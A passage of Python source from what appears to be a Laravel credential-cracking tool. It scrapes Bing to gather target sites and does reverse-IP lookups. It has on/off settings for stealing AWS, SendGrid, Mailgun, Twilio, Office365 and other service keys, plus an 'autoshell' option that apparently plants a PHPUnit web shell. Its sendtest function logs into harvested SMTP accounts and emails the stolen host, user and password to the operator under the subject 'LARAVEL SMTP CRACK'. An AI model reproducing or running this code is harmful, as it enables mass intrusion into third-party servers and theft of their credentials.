checktext = checktext.replace('<span dir="ltr">','')
checksites = re.findall('<cite>(.*?)</cite>',checktext)
for sites in checksites:
sites = sites.replace("http://","protocol1")
sites = sites.replace("https://","protocol2")
sites = sites + "/"
site = sites[:sites.find("/")+0]
site = site.replace("protocol1","http://")
site = site.replace("protocol2","https://")
try:
jembotngwsave(site)
except:
pass
except:
pass
def reverseip(dork):
ori = dork
if "ip" not in dork:
dork = " ip:\""+dork+"\" "
print(f"{lrd}[{lgn}+{lrd}] {lgn}START REVERSE FROM IP => {gn}{ori}")
for bing in binglist:
bingg = bing.replace("&count",dork+"&count")
try:
r = requests.get(bingg)
checktext = r.text
checktext = checktext.replace("<strong>","")
checktext = checktext.replace("</strong>","")
checktext = checktext.replace('<span dir="ltr">','')
checksites = re.findall('<cite>(.*?)</cite>',checktext)
for sites in checksites:
sites = sites.replace("http://","protocol1")
sites = sites.replace("https://","protocol2")
sites = sites + "/"
site = sites[:sites.find("/")+0]
site = site.replace("protocol1","http://")
site = site.replace("protocol2","https://")
try:
print("[+] "+ori+" => "+site)
live = open('Result/result_reverseip.txt', 'a')
live.write(str(site)+ '\n')
live.close()
except:
pass
except:
pass
def sparkpostmail():
ip_listx = open("settings.ini", 'r').read()
if "sparkpostmail=on" in ip_listx:
sparkpostmail = "on"
return sparkpostmail
else:
sparkpostmail = "off"
return sparkpostmail
def and1():
ip_listx = open("settings.ini", 'r').read()
if "and1=on" in ip_listx:
and1 = "on"
return and1
else:
and1 = "off"
return and1
def zimbra():
ip_listx = open("settings.ini", 'r').read()
if "zimbra=on" in ip_listx:
zimbra = "on"
return zimbra
else:
zimbra = "off"
return zimbra
def relay():
ip_listx = open("settings.ini", 'r').read()
if "gsuite-relay=on" in ip_listx:
relay = "on"
return relay
else:
relay = "off"
return relay
def sendinblue():
ip_listx = open("settings.ini", 'r').read()
if "sendinblue=on" in ip_listx:
sendinblue = "on"
return sendinblue
else:
sendinblue = "off"
return sendinblue
def mandrillapp():
ip_listx = open("settings.ini", 'r').read()
if "mandrillapp=on" in ip_listx:
mandrillapp = "on"
return mandrillapp
else:
mandrillapp = "off"
return mandrillapp
def zoho():
ip_listx = open("settings.ini", 'r').read()
if "zoho=on" in ip_listx:
zoho = "on"
return zoho
else:
zoho = "off"
return zoho
def sendgrid():
ip_listx = open("settings.ini", 'r').read()
if "sendgrid=on" in ip_listx:
sendgrid = "on"
return sendgrid
else:
sendgrid = "off"
return sendgrid
def office365():
ip_listx = open("settings.ini", 'r').read()
if "office365=on" in ip_listx:
office365 = "on"
return office365
else:
office365 = "off"
return office365
def mailgun():
ip_listx = open("settings.ini", 'r').read()
if "mailgun=on" in ip_listx:
mailgun = "on"
return mailgun
else:
mailgun = "off"
return mailgun
def phpunitshell():
ip_listx = open("settings.ini", 'r').read()
if "autoshell=on" in ip_listx:
phpunitshell = "on"
return phpunitshell
else:
phpunitshell = "off"
return phpunitshell
def aws():
ip_listx = open("settings.ini", 'r').read()
if "aws=on" in ip_listx:
aws = "on"
return aws
else:
aws = "off"
return aws
def twillio():
ip_listx = open("settings.ini", 'r').read()
if "twillio=on" in ip_listx:
twillio = "on"
return twillio
else:
twillio = "off"
return twillio
def AWS_ACCESS_KEY():
ip_listx = open("settings.ini", 'r').read()
if "AWS_ACCESS_KEY=on" in ip_listx:
AWS_ACCESS_KEY = "on"
return AWS_ACCESS_KEY
else:
AWS_ACCESS_KEY = "off"
return AWS_ACCESS_KEY
def AWS_KEY():
ip_listx = open("settings.ini", 'r').read()
if "AWS_KEY=on" in ip_listx:
AWS_KEY = "on"
return AWS_KEY
else:
AWS_KEY = "off"
return AWS_KEY
def NEXMO():
ip_listx = open("settings.ini", 'r').read()
if "NEXMO=on" in ip_listx:
NEXMO = "on"
return NEXMO
else:
NEXMO = "off"
return NEXMO
def EXOTEL():
ip_listx = open("settings.ini", 'r').read()
if "EXOTEL=on" in ip_listx:
EXOTEL = "on"
return EXOTEL
else:
EXOTEL = "off"
return EXOTEL
def ONESIGNAL():
ip_listx = open("settings.ini", 'r').read()
if "ONESIGNAL=on" in ip_listx:
ONESIGNAL = "on"
return ONESIGNAL
else:
ONESIGNAL = "off"
return ONESIGNAL
def TOKBOX():
ip_listx = open("settings.ini", 'r').read()
if "TOKBOX=on" in ip_listx:
TOKBOX = "on"
return TOKBOX
else:
TOKBOX = "off"
return TOKBOX
def sendtest(url,host,port,user,passw,sender):
if "465" in str(port):
port = "587"
else:
port = str(port)
if "unknown@unknown.com" in sender and "@" in user:
sender_email = user
else:
sender_email = str(sender.replace('\"',''))
smtp_server = str(host)
login = str(user.replace('\"',''))
password = str(passw.replace('\"',''))
# specify the sender’s and receiver’s email addresses
receiver_email = str(fsetting)
# type your message: use two newlines (\n) to separate the subject from the message body, and use 'f' to automatically insert variables in the text
message = MIMEMultipart("alternative")
message["Subject"] = "LARAVEL SMTP CRACK | HOST: "+str(host)
if "zoho" in host:
message["From"] = user
else:
message["From"] = sender_email
message["To"] = receiver_email
text = """\
"""
# write the HTML part
html = f"""\
<html>
<body>
<p>-------------------</p>
<p>URL : {url}</p>
<p>HOST : {host}</p>
<p>PORT : {port}</p>
<p>USER : {user}</p>
<p>PASSW : {passw}</p>
<p>SENDER : {sender}</p>